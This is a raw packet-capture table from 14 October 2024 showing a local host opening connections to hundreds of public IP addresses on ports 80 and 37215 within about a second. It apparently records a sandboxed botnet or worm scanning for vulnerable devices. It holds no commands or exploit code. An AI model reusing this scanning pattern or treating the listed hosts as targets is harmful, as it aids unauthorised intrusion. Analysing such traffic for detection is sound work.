Oct 14, 2024 17:34:13.910429955 CEST	55874	80	192.168.2.14	131.156.38.106
Oct 14, 2024 17:34:13.910536051 CEST	37215	58810	197.84.254.99	192.168.2.14
Oct 14, 2024 17:34:13.910593033 CEST	58810	37215	192.168.2.14	197.84.254.99
Oct 14, 2024 17:34:13.910784960 CEST	80	55036	141.182.88.11	192.168.2.14
Oct 14, 2024 17:34:13.910839081 CEST	55036	80	192.168.2.14	141.182.88.11
Oct 14, 2024 17:34:13.931590080 CEST	37986	37215	192.168.2.14	41.159.121.25
Oct 14, 2024 17:34:13.936687946 CEST	37215	37986	41.159.121.25	192.168.2.14
Oct 14, 2024 17:34:13.936912060 CEST	37986	37215	192.168.2.14	41.159.121.25
Oct 14, 2024 17:34:13.937113047 CEST	37986	37215	192.168.2.14	41.159.121.25
Oct 14, 2024 17:34:13.942698002 CEST	37215	37986	41.159.121.25	192.168.2.14
Oct 14, 2024 17:34:13.942749977 CEST	37986	37215	192.168.2.14	41.159.121.25
Oct 14, 2024 17:34:13.963583946 CEST	47118	80	192.168.2.14	87.197.76.211
Oct 14, 2024 17:34:13.963663101 CEST	40174	37215	192.168.2.14	197.106.26.143
Oct 14, 2024 17:34:13.969167948 CEST	80	47118	87.197.76.211	192.168.2.14
Oct 14, 2024 17:34:13.969208002 CEST	37215	40174	197.106.26.143	192.168.2.14
Oct 14, 2024 17:34:13.969245911 CEST	47118	80	192.168.2.14	87.197.76.211
Oct 14, 2024 17:34:13.969274044 CEST	40174	37215	192.168.2.14	197.106.26.143
Oct 14, 2024 17:34:13.969321012 CEST	47118	80	192.168.2.14	87.197.76.211
Oct 14, 2024 17:34:13.969348907 CEST	40174	37215	192.168.2.14	197.106.26.143
Oct 14, 2024 17:34:13.974654913 CEST	80	47118	87.197.76.211	192.168.2.14
Oct 14, 2024 17:34:13.974708080 CEST	47118	80	192.168.2.14	87.197.76.211
Oct 14, 2024 17:34:13.975081921 CEST	37215	40174	197.106.26.143	192.168.2.14
Oct 14, 2024 17:34:13.975142002 CEST	40174	37215	192.168.2.14	197.106.26.143
Oct 14, 2024 17:34:13.995563030 CEST	37406	80	192.168.2.14	76.233.57.173
Oct 14, 2024 17:34:13.995570898 CEST	45658	37215	192.168.2.14	156.49.31.7
Oct 14, 2024 17:34:14.000720024 CEST	80	37406	76.233.57.173	192.168.2.14
Oct 14, 2024 17:34:14.000776052 CEST	37406	80	192.168.2.14	76.233.57.173
Oct 14, 2024 17:34:14.000925064 CEST	37406	80	192.168.2.14	76.233.57.173
Oct 14, 2024 17:34:14.001159906 CEST	37215	45658	156.49.31.7	192.168.2.14
Oct 14, 2024 17:34:14.001211882 CEST	45658	37215	192.168.2.14	156.49.31.7
Oct 14, 2024 17:34:14.001243114 CEST	45658	37215	192.168.2.14	156.49.31.7
Oct 14, 2024 17:34:14.007428885 CEST	80	37406	76.233.57.173	192.168.2.14
Oct 14, 2024 17:34:14.007474899 CEST	37406	80	192.168.2.14	76.233.57.173
Oct 14, 2024 17:34:14.007479906 CEST	37215	45658	156.49.31.7	192.168.2.14
Oct 14, 2024 17:34:14.007508993 CEST	37215	45658	156.49.31.7	192.168.2.14
Oct 14, 2024 17:34:14.007563114 CEST	45658	37215	192.168.2.14	156.49.31.7
Oct 14, 2024 17:34:14.027575970 CEST	51878	37215	192.168.2.14	156.152.71.59
Oct 14, 2024 17:34:14.028711081 CEST	54202	37215	192.168.2.14	156.160.223.165
Oct 14, 2024 17:34:14.032489061 CEST	37215	51878	156.152.71.59	192.168.2.14
Oct 14, 2024 17:34:14.032542944 CEST	51878	37215	192.168.2.14	156.152.71.59
Oct 14, 2024 17:34:14.032584906 CEST	51878	37215	192.168.2.14	156.152.71.59
Oct 14, 2024 17:34:14.033565998 CEST	37215	54202	156.160.223.165	192.168.2.14
Oct 14, 2024 17:34:14.033636093 CEST	54202	37215	192.168.2.14	156.160.223.165
Oct 14, 2024 17:34:14.033636093 CEST	54202	37215	192.168.2.14	156.160.223.165
Oct 14, 2024 17:34:14.038074017 CEST	37215	51878	156.152.71.59	192.168.2.14
Oct 14, 2024 17:34:14.038117886 CEST	51878	37215	192.168.2.14	156.152.71.59
Oct 14, 2024 17:34:14.038883924 CEST	37215	54202	156.160.223.165	192.168.2.14
Oct 14, 2024 17:34:14.038937092 CEST	54202	37215	192.168.2.14	156.160.223.165
Oct 14, 2024 17:34:14.091587067 CEST	43814	80	192.168.2.14	120.68.33.190
Oct 14, 2024 17:34:14.096446037 CEST	80	43814	120.68.33.190	192.168.2.14
Oct 14, 2024 17:34:14.096508980 CEST	43814	80	192.168.2.14	120.68.33.190
Oct 14, 2024 17:34:14.096602917 CEST	43814	80	192.168.2.14	120.68.33.190
Oct 14, 2024 17:34:14.101881027 CEST	80	43814	120.68.33.190	192.168.2.14
Oct 14, 2024 17:34:14.101932049 CEST	43814	80	192.168.2.14	120.68.33.190
Oct 14, 2024 17:34:14.123586893 CEST	36310	80	192.168.2.14	135.208.219.81
Oct 14, 2024 17:34:14.123614073 CEST	48092	37215	192.168.2.14	156.135.171.102
Oct 14, 2024 17:34:14.128536940 CEST	80	36310	135.208.219.81	192.168.2.14
Oct 14, 2024 17:34:14.128601074 CEST	36310	80	192.168.2.14	135.208.219.81
Oct 14, 2024 17:34:14.128679991 CEST	36310	80	192.168.2.14	135.208.219.81
Oct 14, 2024 17:34:14.128720999 CEST	29626	80	192.168.2.14	182.64.118.107
Oct 14, 2024 17:34:14.128720999 CEST	29626	80	192.168.2.14	1.215.109.242
Oct 14, 2024 17:34:14.128729105 CEST	29626	80	192.168.2.14	137.46.73.168
Oct 14, 2024 17:34:14.128736019 CEST	29626	80	192.168.2.14	202.214.74.20
Oct 14, 2024 17:34:14.128743887 CEST	29626	80	192.168.2.14	175.185.50.202
Oct 14, 2024 17:34:14.128752947 CEST	29626	80	192.168.2.14	189.57.148.201
Oct 14, 2024 17:34:14.128756046 CEST	29626	80	192.168.2.14	189.67.193.120
Oct 14, 2024 17:34:14.128767014 CEST	29626	80	192.168.2.14	108.81.130.89
Oct 14, 2024 17:34:14.128767967 CEST	29626	80	192.168.2.14	84.10.168.7
Oct 14, 2024 17:34:14.128774881 CEST	29626	80	192.168.2.14	172.2.15.227
Oct 14, 2024 17:34:14.128788948 CEST	29626	80	192.168.2.14	8.160.109.226
Oct 14, 2024 17:34:14.128807068 CEST	29626	80	192.168.2.14	119.106.22.100
Oct 14, 2024 17:34:14.128808975 CEST	29626	80	192.168.2.14	147.133.105.197
Oct 14, 2024 17:34:14.128808975 CEST	29626	80	192.168.2.14	110.78.153.151
Oct 14, 2024 17:34:14.128808975 CEST	29626	80	192.168.2.14	109.228.218.13
Oct 14, 2024 17:34:14.128813982 CEST	29626	80	192.168.2.14	169.149.145.165
Oct 14, 2024 17:34:14.128815889 CEST	29626	80	192.168.2.14	113.239.220.70
Oct 14, 2024 17:34:14.128813028 CEST	29626	80	192.168.2.14	36.124.207.154
Oct 14, 2024 17:34:14.128815889 CEST	29626	80	192.168.2.14	155.159.39.230
Oct 14, 2024 17:34:14.128815889 CEST	29626	80	192.168.2.14	160.195.238.135
Oct 14, 2024 17:34:14.128822088 CEST	29626	80	192.168.2.14	184.208.20.64
Oct 14, 2024 17:34:14.128830910 CEST	29626	80	192.168.2.14	68.19.117.215
Oct 14, 2024 17:34:14.128830910 CEST	29626	80	192.168.2.14	179.56.83.160
Oct 14, 2024 17:34:14.128832102 CEST	29626	80	192.168.2.14	165.1.67.81
Oct 14, 2024 17:34:14.128839970 CEST	29626	80	192.168.2.14	141.14.19.210
Oct 14, 2024 17:34:14.128840923 CEST	29626	80	192.168.2.14	75.172.31.49
Oct 14, 2024 17:34:14.128845930 CEST	29626	80	192.168.2.14	162.5.70.43
Oct 14, 2024 17:34:14.128848076 CEST	29626	80	192.168.2.14	183.133.19.139
Oct 14, 2024 17:34:14.128849030 CEST	29626	80	192.168.2.14	38.238.82.113
Oct 14, 2024 17:34:14.128849983 CEST	29626	80	192.168.2.14	118.139.36.19
Oct 14, 2024 17:34:14.128858089 CEST	29626	80	192.168.2.14	163.239.215.21
Oct 14, 2024 17:34:14.128876925 CEST	29626	80	192.168.2.14	138.44.235.40
Oct 14, 2024 17:34:14.128881931 CEST	29626	80	192.168.2.14	92.136.70.165
Oct 14, 2024 17:34:14.128882885 CEST	29626	80	192.168.2.14	123.152.148.119
Oct 14, 2024 17:34:14.128890038 CEST	29626	80	192.168.2.14	34.157.9.175
Oct 14, 2024 17:34:14.128897905 CEST	29626	80	192.168.2.14	133.219.177.92
Oct 14, 2024 17:34:14.128904104 CEST	29626	80	192.168.2.14	208.17.139.224
Oct 14, 2024 17:34:14.128905058 CEST	29626	80	192.168.2.14	162.192.136.218
Oct 14, 2024 17:34:14.128916025 CEST	29626	80	192.168.2.14	67.208.36.24
Oct 14, 2024 17:34:14.128926992 CEST	37215	48092	156.135.171.102	192.168.2.14
Oct 14, 2024 17:34:14.128928900 CEST	29626	80	192.168.2.14	177.50.28.32
Oct 14, 2024 17:34:14.128930092 CEST	29626	80	192.168.2.14	182.164.116.54
Oct 14, 2024 17:34:14.128942966 CEST	29626	80	192.168.2.14	140.254.217.116
Oct 14, 2024 17:34:14.128948927 CEST	29626	80	192.168.2.14	84.76.90.180
Oct 14, 2024 17:34:14.128948927 CEST	29626	80	192.168.2.14	212.182.89.113
Oct 14, 2024 17:34:14.128952026 CEST	29626	80	192.168.2.14	210.69.201.179
Oct 14, 2024 17:34:14.128962994 CEST	29626	80	192.168.2.14	8.14.170.224
Oct 14, 2024 17:34:14.128968954 CEST	29626	80	192.168.2.14	23.69.35.200
Oct 14, 2024 17:34:14.128978968 CEST	29626	80	192.168.2.14	57.106.227.145
Oct 14, 2024 17:34:14.128983974 CEST	29626	80	192.168.2.14	177.242.122.137
Oct 14, 2024 17:34:14.128988028 CEST	48092	37215	192.168.2.14	156.135.171.102
Oct 14, 2024 17:34:14.128988028 CEST	29626	80	192.168.2.14	216.143.127.53
Oct 14, 2024 17:34:14.129003048 CEST	29626	80	192.168.2.14	73.104.214.171
Oct 14, 2024 17:34:14.129004002 CEST	29626	80	192.168.2.14	148.164.158.37
Oct 14, 2024 17:34:14.129008055 CEST	29626	80	192.168.2.14	175.86.57.59
Oct 14, 2024 17:34:14.129019976 CEST	29626	80	192.168.2.14	35.173.230.112
Oct 14, 2024 17:34:14.129025936 CEST	29626	80	192.168.2.14	78.153.204.103
Oct 14, 2024 17:34:14.129025936 CEST	29626	80	192.168.2.14	36.171.91.86
Oct 14, 2024 17:34:14.129029989 CEST	29626	80	192.168.2.14	135.95.184.74
Oct 14, 2024 17:34:14.129045963 CEST	29626	80	192.168.2.14	137.89.161.94
Oct 14, 2024 17:34:14.129045963 CEST	29626	80	192.168.2.14	81.218.106.181
Oct 14, 2024 17:34:14.129057884 CEST	29626	80	192.168.2.14	212.176.170.92
Oct 14, 2024 17:34:14.129061937 CEST	29626	80	192.168.2.14	9.115.9.195
Oct 14, 2024 17:34:14.129065037 CEST	29626	80	192.168.2.14	140.40.168.155
Oct 14, 2024 17:34:14.129070997 CEST	29626	80	192.168.2.14	162.179.191.167
Oct 14, 2024 17:34:14.129087925 CEST	29626	80	192.168.2.14	88.18.148.152
Oct 14, 2024 17:34:14.129090071 CEST	29626	80	192.168.2.14	12.104.240.149
Oct 14, 2024 17:34:14.129090071 CEST	29626	80	192.168.2.14	80.0.43.89
Oct 14, 2024 17:34:14.129107952 CEST	29626	80	192.168.2.14	134.227.144.50
Oct 14, 2024 17:34:14.129107952 CEST	29626	80	192.168.2.14	164.236.185.43
Oct 14, 2024 17:34:14.129107952 CEST	29626	80	192.168.2.14	131.7.51.158
Oct 14, 2024 17:34:14.129115105 CEST	29626	80	192.168.2.14	137.237.94.0
Oct 14, 2024 17:34:14.129132032 CEST	29626	80	192.168.2.14	47.250.244.75
Oct 14, 2024 17:34:14.129134893 CEST	29626	80	192.168.2.14	182.144.92.152
Oct 14, 2024 17:34:14.129134893 CEST	29626	80	192.168.2.14	122.70.161.144
Oct 14, 2024 17:34:14.129142046 CEST	29626	80	192.168.2.14	24.193.199.34
Oct 14, 2024 17:34:14.129143000 CEST	29626	80	192.168.2.14	198.11.230.131
Oct 14, 2024 17:34:14.129159927 CEST	29626	80	192.168.2.14	91.63.171.89
Oct 14, 2024 17:34:14.129159927 CEST	29626	80	192.168.2.14	42.163.110.10
Oct 14, 2024 17:34:14.129164934 CEST	29626	80	192.168.2.14	158.194.16.5
Oct 14, 2024 17:34:14.129165888 CEST	29626	80	192.168.2.14	172.35.10.136
Oct 14, 2024 17:34:14.129182100 CEST	29626	80	192.168.2.14	151.195.164.209
Oct 14, 2024 17:34:14.129189968 CEST	29626	80	192.168.2.14	152.210.85.122
Oct 14, 2024 17:34:14.129190922 CEST	29626	80	192.168.2.14	105.26.245.29
Oct 14, 2024 17:34:14.129199028 CEST	29626	80	192.168.2.14	69.249.169.234
Oct 14, 2024 17:34:14.129204988 CEST	29626	80	192.168.2.14	23.6.232.141
Oct 14, 2024 17:34:14.129208088 CEST	48092	37215	192.168.2.14	156.135.171.102
Oct 14, 2024 17:34:14.129208088 CEST	29626	80	192.168.2.14	104.128.72.103
Oct 14, 2024 17:34:14.129208088 CEST	29626	80	192.168.2.14	62.189.219.4
Oct 14, 2024 17:34:14.129219055 CEST	29625	37215	192.168.2.14	41.33.165.229
Oct 14, 2024 17:34:14.129221916 CEST	29626	80	192.168.2.14	4.100.220.80
Oct 14, 2024 17:34:14.129223108 CEST	29626	80	192.168.2.14	12.11.113.126
Oct 14, 2024 17:34:14.129223108 CEST	29625	37215	192.168.2.14	197.45.89.203
Oct 14, 2024 17:34:14.129235029 CEST	29626	80	192.168.2.14	156.189.41.54
Oct 14, 2024 17:34:14.129239082 CEST	29626	80	192.168.2.14	37.228.50.180
Oct 14, 2024 17:34:14.129245043 CEST	29626	80	192.168.2.14	57.116.50.184
Oct 14, 2024 17:34:14.129245043 CEST	29626	80	192.168.2.14	217.140.66.249
Oct 14, 2024 17:34:14.129245043 CEST	29626	80	192.168.2.14	23.199.125.92
Oct 14, 2024 17:34:14.129246950 CEST	29625	37215	192.168.2.14	197.186.135.139
Oct 14, 2024 17:34:14.129256010 CEST	29626	80	192.168.2.14	206.52.129.182
Oct 14, 2024 17:34:14.129261017 CEST	29626	80	192.168.2.14	5.254.255.28
Oct 14, 2024 17:34:14.129266024 CEST	29626	80	192.168.2.14	38.146.19.19
Oct 14, 2024 17:34:14.129272938 CEST	29626	80	192.168.2.14	130.27.19.75
Oct 14, 2024 17:34:14.129287958 CEST	29625	37215	192.168.2.14	197.207.84.68
Oct 14, 2024 17:34:14.129287958 CEST	29625	37215	192.168.2.14	197.249.113.195
Oct 14, 2024 17:34:14.129291058 CEST	29625	37215	192.168.2.14	41.3.217.71
Oct 14, 2024 17:34:14.129295111 CEST	29625	37215	192.168.2.14	156.148.175.109
Oct 14, 2024 17:34:14.129296064 CEST	29625	37215	192.168.2.14	41.193.19.175
Oct 14, 2024 17:34:14.129296064 CEST	29626	80	192.168.2.14	98.72.5.13
Oct 14, 2024 17:34:14.129312992 CEST	29626	80	192.168.2.14	105.74.67.31
Oct 14, 2024 17:34:14.129312992 CEST	29626	80	192.168.2.14	141.185.213.214
Oct 14, 2024 17:34:14.129313946 CEST	29625	37215	192.168.2.14	197.91.229.220
Oct 14, 2024 17:34:14.129317999 CEST	29625	37215	192.168.2.14	41.239.206.143
Oct 14, 2024 17:34:14.129317999 CEST	29626	80	192.168.2.14	59.174.70.251
Oct 14, 2024 17:34:14.129323006 CEST	29626	80	192.168.2.14	155.21.47.227
Oct 14, 2024 17:34:14.129324913 CEST	29625	37215	192.168.2.14	41.246.220.51
Oct 14, 2024 17:34:14.129329920 CEST	29626	80	192.168.2.14	193.195.96.110
Oct 14, 2024 17:34:14.129332066 CEST	29626	80	192.168.2.14	147.123.210.92
Oct 14, 2024 17:34:14.129337072 CEST	29626	80	192.168.2.14	82.36.135.67
Oct 14, 2024 17:34:14.129337072 CEST	29626	80	192.168.2.14	68.97.113.35
Oct 14, 2024 17:34:14.129337072 CEST	29625	37215	192.168.2.14	156.22.217.209
Oct 14, 2024 17:34:14.129340887 CEST	29625	37215	192.168.2.14	156.203.82.120
Oct 14, 2024 17:34:14.129343033 CEST	29625	37215	192.168.2.14	156.92.40.119
Oct 14, 2024 17:34:14.129343033 CEST	29625	37215	192.168.2.14	41.155.232.211
Oct 14, 2024 17:34:14.129343033 CEST	29625	37215	192.168.2.14	41.83.69.226
Oct 14, 2024 17:34:14.129343987 CEST	29626	80	192.168.2.14	116.105.58.161
Oct 14, 2024 17:34:14.129343987 CEST	29626	80	192.168.2.14	173.222.32.165
Oct 14, 2024 17:34:14.129343033 CEST	29626	80	192.168.2.14	110.54.39.202
Oct 14, 2024 17:34:14.129347086 CEST	29625	37215	192.168.2.14	156.182.195.128
Oct 14, 2024 17:34:14.129347086 CEST	29625	37215	192.168.2.14	41.183.112.31
Oct 14, 2024 17:34:14.129347086 CEST	29625	37215	192.168.2.14	156.222.178.73
Oct 14, 2024 17:34:14.129353046 CEST	29626	80	192.168.2.14	100.142.77.87
Oct 14, 2024 17:34:14.129355907 CEST	29626	80	192.168.2.14	200.70.62.20
Oct 14, 2024 17:34:14.129355907 CEST	29625	37215	192.168.2.14	197.113.168.140
Oct 14, 2024 17:34:14.129357100 CEST	29625	37215	192.168.2.14	41.92.59.111
Oct 14, 2024 17:34:14.129357100 CEST	29626	80	192.168.2.14	171.84.207.84
Oct 14, 2024 17:34:14.129357100 CEST	29625	37215	192.168.2.14	156.113.107.185
Oct 14, 2024 17:34:14.129357100 CEST	29626	80	192.168.2.14	182.153.246.49
Oct 14, 2024 17:34:14.129365921 CEST	29626	80	192.168.2.14	167.246.103.47
Oct 14, 2024 17:34:14.129365921 CEST	29625	37215	192.168.2.14	197.126.212.226
Oct 14, 2024 17:34:14.129365921 CEST	29626	80	192.168.2.14	173.136.241.186
Oct 14, 2024 17:34:14.129367113 CEST	29626	80	192.168.2.14	189.121.124.207
Oct 14, 2024 17:34:14.129378080 CEST	29626	80	192.168.2.14	72.132.15.186
Oct 14, 2024 17:34:14.129389048 CEST	29625	37215	192.168.2.14	197.142.72.131
Oct 14, 2024 17:34:14.129390955 CEST	29625	37215	192.168.2.14	41.110.234.214
Oct 14, 2024 17:34:14.129390955 CEST	29625	37215	192.168.2.14	41.205.212.26
Oct 14, 2024 17:34:14.129391909 CEST	29626	80	192.168.2.14	174.162.26.173
Oct 14, 2024 17:34:14.129389048 CEST	29626	80	192.168.2.14	168.145.155.22
Oct 14, 2024 17:34:14.129390955 CEST	29625	37215	192.168.2.14	41.145.53.185
Oct 14, 2024 17:34:14.129395008 CEST	29626	80	192.168.2.14	139.34.142.12
Oct 14, 2024 17:34:14.129396915 CEST	29626	80	192.168.2.14	138.190.104.217
Oct 14, 2024 17:34:14.129400015 CEST	29626	80	192.168.2.14	47.173.12.167
Oct 14, 2024 17:34:14.129404068 CEST	29626	80	192.168.2.14	25.182.61.52
Oct 14, 2024 17:34:14.129415035 CEST	29626	80	192.168.2.14	134.242.212.139
Oct 14, 2024 17:34:14.129416943 CEST	29625	37215	192.168.2.14	156.232.94.88
Oct 14, 2024 17:34:14.129417896 CEST	29625	37215	192.168.2.14	41.107.126.120
Oct 14, 2024 17:34:14.129420996 CEST	29626	80	192.168.2.14	170.67.172.201
Oct 14, 2024 17:34:14.129424095 CEST	29625	37215	192.168.2.14	156.137.43.13
Oct 14, 2024 17:34:14.129425049 CEST	29626	80	192.168.2.14	177.25.99.169
Oct 14, 2024 17:34:14.129439116 CEST	29626	80	192.168.2.14	218.81.183.86
Oct 14, 2024 17:34:14.129439116 CEST	29626	80	192.168.2.14	72.124.47.225
Oct 14, 2024 17:34:14.129440069 CEST	29626	80	192.168.2.14	93.226.7.222
Oct 14, 2024 17:34:14.129442930 CEST	29625	37215	192.168.2.14	197.133.226.18
Oct 14, 2024 17:34:14.129442930 CEST	29626	80	192.168.2.14	65.86.135.150
Oct 14, 2024 17:34:14.129445076 CEST	29626	80	192.168.2.14	63.223.58.179
Oct 14, 2024 17:34:14.129445076 CEST	29626	80	192.168.2.14	65.122.92.159
Oct 14, 2024 17:34:14.129445076 CEST	29625	37215	192.168.2.14	41.146.220.133
Oct 14, 2024 17:34:14.129452944 CEST	29625	37215	192.168.2.14	197.14.67.190
Oct 14, 2024 17:34:14.129455090 CEST	29626	80	192.168.2.14	186.39.40.88
Oct 14, 2024 17:34:14.129455090 CEST	29626	80	192.168.2.14	70.26.53.25
Oct 14, 2024 17:34:14.129461050 CEST	29626	80	192.168.2.14	57.29.103.126
Oct 14, 2024 17:34:14.129471064 CEST	29625	37215	192.168.2.14	197.7.109.112
Oct 14, 2024 17:34:14.129472971 CEST	29626	80	192.168.2.14	119.64.207.44
Oct 14, 2024 17:34:14.129484892 CEST	29626	80	192.168.2.14	32.208.200.82
Oct 14, 2024 17:34:14.129484892 CEST	29625	37215	192.168.2.14	41.116.148.244
Oct 14, 2024 17:34:14.129484892 CEST	29625	37215	192.168.2.14	41.156.96.75
Oct 14, 2024 17:34:14.129496098 CEST	29625	37215	192.168.2.14	156.221.74.122
Oct 14, 2024 17:34:14.129496098 CEST	29626	80	192.168.2.14	197.48.81.211
Oct 14, 2024 17:34:14.129497051 CEST	29625	37215	192.168.2.14	156.98.139.97
Oct 14, 2024 17:34:14.129497051 CEST	29626	80	192.168.2.14	160.100.104.81
Oct 14, 2024 17:34:14.129497051 CEST	29625	37215	192.168.2.14	156.44.255.157
Oct 14, 2024 17:34:14.129497051 CEST	29626	80	192.168.2.14	135.53.162.60
Oct 14, 2024 17:34:14.129497051 CEST	29626	80	192.168.2.14	193.108.131.121
Oct 14, 2024 17:34:14.129511118 CEST	29626	80	192.168.2.14	163.167.105.222
Oct 14, 2024 17:34:14.129512072 CEST	29625	37215	192.168.2.14	156.128.42.8
Oct 14, 2024 17:34:14.129512072 CEST	29625	37215	192.168.2.14	41.146.245.15
Oct 14, 2024 17:34:14.129512072 CEST	29625	37215	192.168.2.14	41.133.66.189
Oct 14, 2024 17:34:14.129530907 CEST	29626	80	192.168.2.14	100.187.34.207
Oct 14, 2024 17:34:14.129530907 CEST	29626	80	192.168.2.14	174.220.142.152
Oct 14, 2024 17:34:14.129530907 CEST	29626	80	192.168.2.14	100.209.187.29
Oct 14, 2024 17:34:14.129533052 CEST	29626	80	192.168.2.14	198.241.211.68
Oct 14, 2024 17:34:14.129534960 CEST	29626	80	192.168.2.14	136.24.225.133
Oct 14, 2024 17:34:14.129534960 CEST	29625	37215	192.168.2.14	41.33.78.225
Oct 14, 2024 17:34:14.129545927 CEST	29625	37215	192.168.2.14	41.91.36.63
Oct 14, 2024 17:34:14.129554033 CEST	29625	37215	192.168.2.14	41.57.137.227
Oct 14, 2024 17:34:14.129554033 CEST	29625	37215	192.168.2.14	156.163.42.166
Oct 14, 2024 17:34:14.129561901 CEST	29626	80	192.168.2.14	174.119.252.36
Oct 14, 2024 17:34:14.129570961 CEST	29626	80	192.168.2.14	165.148.197.132
Oct 14, 2024 17:34:14.129570961 CEST	29626	80	192.168.2.14	89.165.224.217
Oct 14, 2024 17:34:14.129571915 CEST	29626	80	192.168.2.14	107.178.21.209
Oct 14, 2024 17:34:14.129571915 CEST	29625	37215	192.168.2.14	41.100.128.67
Oct 14, 2024 17:34:14.129574060 CEST	29625	37215	192.168.2.14	156.190.176.11
Oct 14, 2024 17:34:14.129574060 CEST	29625	37215	192.168.2.14	41.51.8.166
Oct 14, 2024 17:34:14.129576921 CEST	29626	80	192.168.2.14	9.235.151.184
Oct 14, 2024 17:34:14.129576921 CEST	29626	80	192.168.2.14	161.43.252.189
Oct 14, 2024 17:34:14.129584074 CEST	29626	80	192.168.2.14	200.197.252.18
Oct 14, 2024 17:34:14.129584074 CEST	29625	37215	192.168.2.14	41.203.154.2
Oct 14, 2024 17:34:14.129584074 CEST	29626	80	192.168.2.14	219.195.199.77
Oct 14, 2024 17:34:14.129584074 CEST	29625	37215	192.168.2.14	41.73.244.123
Oct 14, 2024 17:34:14.129584074 CEST	29625	37215	192.168.2.14	41.22.87.151
Oct 14, 2024 17:34:14.129585981 CEST	29626	80	192.168.2.14	42.202.175.86
Oct 14, 2024 17:34:14.129599094 CEST	29626	80	192.168.2.14	101.147.87.115
Oct 14, 2024 17:34:14.129602909 CEST	29626	80	192.168.2.14	126.160.4.195
Oct 14, 2024 17:34:14.129602909 CEST	29625	37215	192.168.2.14	197.218.222.3
Oct 14, 2024 17:34:14.129614115 CEST	29626	80	192.168.2.14	185.229.217.5
Oct 14, 2024 17:34:14.129623890 CEST	29626	80	192.168.2.14	141.190.248.238
Oct 14, 2024 17:34:14.129623890 CEST	29626	80	192.168.2.14	106.32.199.128
Oct 14, 2024 17:34:14.129637003 CEST	29625	37215	192.168.2.14	41.177.209.185
Oct 14, 2024 17:34:14.129638910 CEST	29625	37215	192.168.2.14	41.180.226.115
Oct 14, 2024 17:34:14.129642963 CEST	29625	37215	192.168.2.14	156.245.57.35
Oct 14, 2024 17:34:14.129642963 CEST	29626	80	192.168.2.14	19.237.72.31
Oct 14, 2024 17:34:14.129645109 CEST	29625	37215	192.168.2.14	41.119.161.138
Oct 14, 2024 17:34:14.129646063 CEST	29626	80	192.168.2.14	124.124.9.240
Oct 14, 2024 17:34:14.129648924 CEST	29625	37215	192.168.2.14	41.156.221.151
Oct 14, 2024 17:34:14.129654884 CEST	29626	80	192.168.2.14	54.55.187.148
Oct 14, 2024 17:34:14.129654884 CEST	29626	80	192.168.2.14	143.7.49.202
Oct 14, 2024 17:34:14.129657030 CEST	29626	80	192.168.2.14	199.114.115.229
Oct 14, 2024 17:34:14.129657030 CEST	29626	80	192.168.2.14	76.116.253.106
Oct 14, 2024 17:34:14.129657984 CEST	29626	80	192.168.2.14	209.72.92.177
Oct 14, 2024 17:34:14.129657984 CEST	29625	37215	192.168.2.14	197.68.37.195
Oct 14, 2024 17:34:14.129657984 CEST	29625	37215	192.168.2.14	41.73.78.249
Oct 14, 2024 17:34:14.129661083 CEST	29625	37215	192.168.2.14	41.171.106.144
Oct 14, 2024 17:34:14.129657984 CEST	29625	37215	192.168.2.14	197.18.66.107
Oct 14, 2024 17:34:14.129661083 CEST	29625	37215	192.168.2.14	41.126.105.45
Oct 14, 2024 17:34:14.129667044 CEST	29625	37215	192.168.2.14	197.205.63.255
Oct 14, 2024 17:34:14.129667044 CEST	29626	80	192.168.2.14	158.176.50.134
Oct 14, 2024 17:34:14.129669905 CEST	29625	37215	192.168.2.14	197.177.121.128
Oct 14, 2024 17:34:14.129671097 CEST	29626	80	192.168.2.14	8.14.138.212
Oct 14, 2024 17:34:14.129671097 CEST	29626	80	192.168.2.14	46.209.144.228
Oct 14, 2024 17:34:14.129671097 CEST	29625	37215	192.168.2.14	41.198.243.164
Oct 14, 2024 17:34:14.129673004 CEST	29625	37215	192.168.2.14	41.98.75.164
Oct 14, 2024 17:34:14.129673958 CEST	29626	80	192.168.2.14	123.220.53.31
Oct 14, 2024 17:34:14.129673004 CEST	29625	37215	192.168.2.14	41.204.134.6
Oct 14, 2024 17:34:14.129677057 CEST	29626	80	192.168.2.14	129.165.155.26
Oct 14, 2024 17:34:14.129677057 CEST	29625	37215	192.168.2.14	156.16.14.134
Oct 14, 2024 17:34:14.129677057 CEST	29625	37215	192.168.2.14	156.229.145.89
Oct 14, 2024 17:34:14.129690886 CEST	29625	37215	192.168.2.14	197.4.94.186
Oct 14, 2024 17:34:14.129690886 CEST	29626	80	192.168.2.14	178.195.84.139
Oct 14, 2024 17:34:14.129690886 CEST	29626	80	192.168.2.14	54.28.80.9
Oct 14, 2024 17:34:14.129693031 CEST	29625	37215	192.168.2.14	197.159.221.32
Oct 14, 2024 17:34:14.129690886 CEST	29625	37215	192.168.2.14	156.50.243.181
Oct 14, 2024 17:34:14.129693985 CEST	29625	37215	192.168.2.14	41.230.169.16
Oct 14, 2024 17:34:14.129693985 CEST	29626	80	192.168.2.14	42.93.17.129
Oct 14, 2024 17:34:14.129690886 CEST	29625	37215	192.168.2.14	41.192.157.136
Oct 14, 2024 17:34:14.129693985 CEST	29625	37215	192.168.2.14	156.125.91.243
Oct 14, 2024 17:34:14.129693031 CEST	29625	37215	192.168.2.14	156.202.223.154
Oct 14, 2024 17:34:14.129695892 CEST	29625	37215	192.168.2.14	156.39.155.28
Oct 14, 2024 17:34:14.129693985 CEST	29626	80	192.168.2.14	97.106.140.38
Oct 14, 2024 17:34:14.129695892 CEST	29626	80	192.168.2.14	132.200.127.47
Oct 14, 2024 17:34:14.129698038 CEST	29626	80	192.168.2.14	201.43.79.43
Oct 14, 2024 17:34:14.129695892 CEST	29626	80	192.168.2.14	61.106.171.156
Oct 14, 2024 17:34:14.129698038 CEST	29626	80	192.168.2.14	34.155.222.86
Oct 14, 2024 17:34:14.129695892 CEST	29625	37215	192.168.2.14	197.43.224.1
Oct 14, 2024 17:34:14.129698038 CEST	29626	80	192.168.2.14	46.20.163.198
Oct 14, 2024 17:34:14.129699945 CEST	29626	80	192.168.2.14	76.186.170.96
Oct 14, 2024 17:34:14.129698038 CEST	29626	80	192.168.2.14	208.170.198.218
Oct 14, 2024 17:34:14.129702091 CEST	29625	37215	192.168.2.14	156.120.20.219
Oct 14, 2024 17:34:14.129703045 CEST	29626	80	192.168.2.14	206.116.72.13
Oct 14, 2024 17:34:14.129703999 CEST	29626	80	192.168.2.14	140.33.44.205
Oct 14, 2024 17:34:14.129710913 CEST	29626	80	192.168.2.14	58.128.94.76
Oct 14, 2024 17:34:14.129713058 CEST	29626	80	192.168.2.14	91.189.60.207
